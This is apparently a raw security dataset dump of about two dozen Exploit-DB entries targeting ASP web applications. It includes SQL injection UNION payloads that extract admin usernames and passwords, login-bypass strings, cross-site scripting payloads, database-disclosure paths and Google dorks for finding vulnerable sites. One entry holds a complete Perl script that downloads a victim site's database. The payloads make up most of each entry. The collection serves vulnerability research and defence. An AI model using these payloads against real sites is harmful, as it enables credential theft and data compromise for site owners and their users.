deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31859
Description: JustPORTAL 1.0 - 'site' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-05-29
Author: Ugurcan Engin

Exploit:
source: https://www.securityfocus.com/bid/29426/info

JustPORTAL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JustPORTAL 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/lab/JustPORTALv1.0/panel/videogit.asp?site=1+union+select+0,(sifre),kullaniciadi,3,4,5+from+uyeler
http://www.example.com/lab/JustPORTALv1.0/panel/resimgit.asp?site=1+union+select+0,sifre,kullaniciadi,3,4+from+uyeler
http://www.example.com/lab/JustPORTALv1.0/panel/menugit.asp?site=1+union+select+0,sifre,kullaniciadi+from+uyeler
http://www.example.com/lab/JustPORTALv1.0/panel/habergit.asp?site=1+union+select+0,sifre,kullaniciadi,3,4+from+uyeler
Exploit-DB #32278
Description: K Web CMS - 'sayfala.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-08-18
Author: baltazar

Exploit:
source: https://www.securityfocus.com/bid/30745/info

K Web CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,user_name,7+from+admin
http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,pass,7+from+admin
Exploit-DB #32184
Description: KAPhotoservice - 'order.asp?page' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-08-06
Author: by_casper41

Exploit:
source: https://www.securityfocus.com/bid/30567/info

KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

 http://example.com/path/order.asp?cat=&apage=&albumid=&page="><script>alert("1")</script>
Exploit-DB #32185
Description: KAPhotoservice - 'search.asp?Filename' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-08-06
Author: by_casper41

Exploit:
source: https://www.securityfocus.com/bid/30567/info
 
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://example.com/path/search.asp?filename="><script>alert("1")</script>
Exploit-DB #28002
Description: KAPhotoservice 7.5 - 'album.asp?cat' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-09
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18379/info

KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/album.asp?cat=[XSS]&albumid=1
Exploit-DB #28003
Description: KAPhotoservice 7.5 - 'albums.asp?albumid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-09
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18379/info
 
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/albums.asp?cat=&albumid=[XSS]
Exploit-DB #28004
Description: KAPhotoservice 7.5 - 'edtalbum.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-06-09
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18379/info
  
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/edtalbum.asp?cat=&albumid=1&apage=[XSS]
Exploit-DB #4040
Description: Kartli Alisveris Sistemi 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-06
Author: kerem125

Exploit:
########################################################################################
#Discovered by: kerem125 & gsy
#Website: http://www.kerem125.com/ & http://www.by-gsy.org/
#Script download:
http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcart_tr.zip
#Exploit:
/news.asp?news_id=16union+select+all+0,1,admin_name,Password,4+from+admin
#Example :
http://www.localhost/shop/news.asp?news_id=1 20union+select+all+0,1,admin_name,Password,4+from+admin
#Admin Login : /admin/login.asp
Contact : kerem125@kerem125.com & by_gsy@hotmail.com
#Special Thanks to : by_emR3 - Bolivar - VolTiGoRe - CyberGhost - KinSize
-xYz - F-10 - DarXBoyZ - GencDefacer And Str0ke for posting Milw0rm
########################################################################################

# milw0rm.com [2007-06-06]
Exploit-DB #35807
Description: Kentico CMS 5.5R2.23 - 'userContextMenu_Parameter' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-05-31
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/48051/info

Kentico CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kentico CMS 5.5R2.23 is vulnerable; other versions may also be affected. 

POST http://localhost/examples/webparts/membership/users-viewer.aspx HTTP/1.1
&userContextMenu_parameter=%22%20onmouseover%3Dalert%281%29%20zsl%3D%22
Exploit-DB #32157
Description: Kentico CMS 7.0.75 - User Information Disclosure
Type: webapps
Platform: asp
Date: 2014-03-10
Author: Charlie Campbell & Lyndon Mendoza

Exploit:
# Exploit Title: Kentico CMS User Enumeration Bug
# Google Dork: inurl:/CMSPages/logon.aspx <-- enumerates several Kentico
CMS sites
# Date: 02-25-2014
# Exploit Author: Charlie Campbell and Lyndon Mendoza
# Vendor Homepage: http://www.kentico.com/
# Software Link: http://www.kentico.com/Download-Demo/Trial-Version
# Version: [Version 7.0.75 and previous versions]

This vulnerability is an unprotected page on the site where you can view
all current users and usernames.
To find out if a Kentico CMS is vulnerable go to

http://site.com/CMSModules/Messaging/CMSPages/PublicMessageUserSelector.aspx

assuming that the Kentico CMS was installed to the root folder in the
server.

I have already notified the authors and security team for Kentico CMS, in
their response they claimed they would issue a patch on 02-21-2014.
Exploit-DB #35728
Description: Keyfax Customer Response Management 3.2.2.6 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-05-09
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/47772/info

Keyfax Customer Response Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Keyfax Customer Response Management 3.2.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/keyfax32/test/response.asp?co="style%3d"x:expression(alert(1))""%20";

http://www.example.com/keyfax32/rs/main_rs.asp?C="style%3d"x:expression(alert(1))""%20";
Exploit-DB #25661
Description: Keyvan1 ImageGallery - Database Disclosure
Type: webapps
Platform: asp
Date: 2005-05-01
Author: g0rellazz G0r

Exploit:
source: https://www.securityfocus.com/bid/13630/info

Keyvan1 ImageGallery is prone to an access validation vulnerability that could allow the underlying database to be downloaded. 

http://www.example.com/[path]/image.mdb
Exploit-DB #28829
Description: Kinesis Interactive Cinema System - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-18
Author: fireboy

Exploit:
source: https://www.securityfocus.com/bid/20607/info

Kinesis Interactive Cinema System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Since this is a site-specific issue, this BID is being retired.

Supplying the following input to the 'index.asp' script is sufficient to exploit this issue: 

user: 'or''=' 
pass: 'or''='
Exploit-DB #36116
Description: Kisanji - 'gr' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-09-06
Author: Bl4ck.Viper

Exploit:
source: https://www.securityfocus.com/bid/49468/info

Kisanji is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/default.aspx?gr=[xss]
Exploit-DB #15270
Description: Kisisel Radyo Script - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-10-17
Author: FuRty

Exploit:
Kisisel Radyo Script - Multiple Vulnerabilities
############################################
Author: FuRty
Contact : fir4t@fir4t.org
Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group
############################################
Script : Kisisel Radyo Script
Version : N/A
Download : http://www.aspindir.com
###########################################
SQL Injection Vulnerable in radyo.asp
#################################### 
              	  id = Request.QueryString("id")
	  
	  Set baglanti = Server.CreateObject("Adodb.Connection")
	  baglanti.Open "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & Server.MapPath(""&veriyolu&"")
	  
set rsust=Server.CreateObject("ADODB.RecordSet")
sql = "Select * from sayfa WHERE id="&id&""
############################################
http://VICTIM/path/radyo.asp?Id=2 and 1=1 [True]
http://VICTIM/path/radyo.asp?Id=2 and 1=0 [False]
http://VICTIM/path/radyo.asp?Id=2%20union%20select%200,1,adminsifre%20from%20siteayar%20where%20id=1 
##############################################         
   Remote Database Disclosure Exploit
##############################################
#!/usr/bin/perl -w
#
# Kisisel Radyo Script Remote Database Disclosure Exploit
# Coded: FuRty
# Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group
# Contact : fir4t@fir4t.org
# Demo: http://www.kardeslermarble.com/radyo/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Kisisel Radyo Script Remote Database Disclosure Exploit by FuRty');
system('color 4');


if(@ARGV < 2)
{
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\* Kisisel Radyo Script Remote Database Disclosure Exploit              *\n";
print "\* Exploited By : FuRty                                                 *\n";
print "\* msn :   fir4t@fir4t.org                                              *\n";
print "\* Thanks: RedGuard,KnocKout, TrSniper and All Justic3 Group                      *\n";
print "\*********************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="sevvo/eco23.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
Exploit-DB #29143
Description: Klf-Realty 2.0 - 'detail.asp?property_id' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21199/info
 
Klf-Realty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/detail.asp?property_id='[sql]
Exploit-DB #29142
Description: Klf-Realty 2.0 - 'search_listing.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21199/info

Klf-Realty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/search_listing.asp?category='[sql]
http://www.example.com/search_listing.asp?agent='[sql]
Exploit-DB #14281
Description: KMSoft GB - SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
KMSoft GB --SQl iNjection  Vulnerabilty 
==============================================================


Name : KMSoft GB --SQl iNjection  Vulnerabilty  
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :   http://www.kmsoft.org 


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 


###################################
I'm SONiC member from Inj3ct0r Team
################################### 
Description:

* Really easy script setup, using and modifications. * Turning Number (CAPTCHA). * Bad- Words Filter. * Web based admin functions (active message / deactive message / special message (ON- OFF) | view / add / edit / delete records)


#######################################################################################################
Xploit :SQL injection  Vulnerabilty 

DEMO URL  http://www.site.org/demo/KmsoftGB/default.asp?p=2[sqli]



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #11005
Description: KMSoft Guestbook 1.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-04
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Mutlu Yillar Millettt

==============================================================================  

        [»]KMSoft Guestbook v 1.0 Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [ KMSoft Guestbook v 1.0 ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://kmsoft.org] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com & Ar-ge.Org]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/db/db.mdb

 


  [»] KMSoft Guestbook v 1.0 Powered by KMSoft or  Powered by KMSoft

  [»]   Admin Page: /admin



Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng
Ar-ge.Org :Cyber_945,D3xer

                 
- Kritik Benim,Kritigi Ben Bellerim,Kýzdýrmayýn Benim Alayinizi Keserim
- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #35412
Description: Kodak InSite 5.5.2 - '/Pages/login.aspx?Language' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-03-07
Author: Dionach

Exploit:
source: https://www.securityfocus.com/bid/46762/info
 
Kodak InSite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Kodak InSite 5.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Pages/login.aspx?SessionTimeout=False&Language=de%26rflp=True&#039;,&#039;[PII_REDACTED]-[PII_REDACTED]&#039;); alert(&#039;XSS!&#039;); return false; a(&#039;
Exploit-DB #35411
Description: Kodak InSite 5.5.2 - '/Troubleshooting/DiagnosticReport.asp?HeaderWarning' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-03-07
Author: Dionach

Exploit:
source: https://www.securityfocus.com/bid/46762/info

Kodak InSite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Kodak InSite 5.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Troubleshooting/DiagnosticReport.asp?HeaderWarning=<script>alert("XSS!")</script>&Language=en&rflp=true#
Exploit-DB #29385
Description: Kolayindir Download - 'down.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-05
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/21889/info

Kolayindir Download is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/ScriptPath/down.asp?id=[SqL]
Exploit-DB #25847
Description: LaGarde StoreFront 5.0 Shopping Cart - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-12-07
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/13998/info

StoreFront Shopping Cart is affected by an SQL injection vulnerability. The vulnerability affects the 'login.asp' script.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

StoreFront Shopping Cart 5.0 is affected by this vulnerability.

The following proof of concept example is available:
Email id: example@example.com
Password: ' or '='
Exploit-DB #2230
Description: LBlog 1.05 - 'comments.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-08-20
Author: Chironex Fleckeri

Exploit:
################################################################################
##                                                                            ##

##  LBlog <= "comments.asp" SQL Injection Exploit                             ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##  Credit by        |  Chironex Fleckeri                                     ##

##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##

##  Googledork       |  Powered By LBlog                                      ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##                                                                            ##
################################################################################

###################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 #
###################################################################################################################

#################################################
#Admin Panel : http://www.target.com/path/admin #
#################################################

# milw0rm.com [2006-08-20]
Exploit-DB #32756
Description: LDF - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-26
Author: Arash Setayeshi

Exploit:
source: https://www.securityfocus.com/bid/33431/info

LDF is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[ldf path]/login.asp?user=[SQL COMMAND]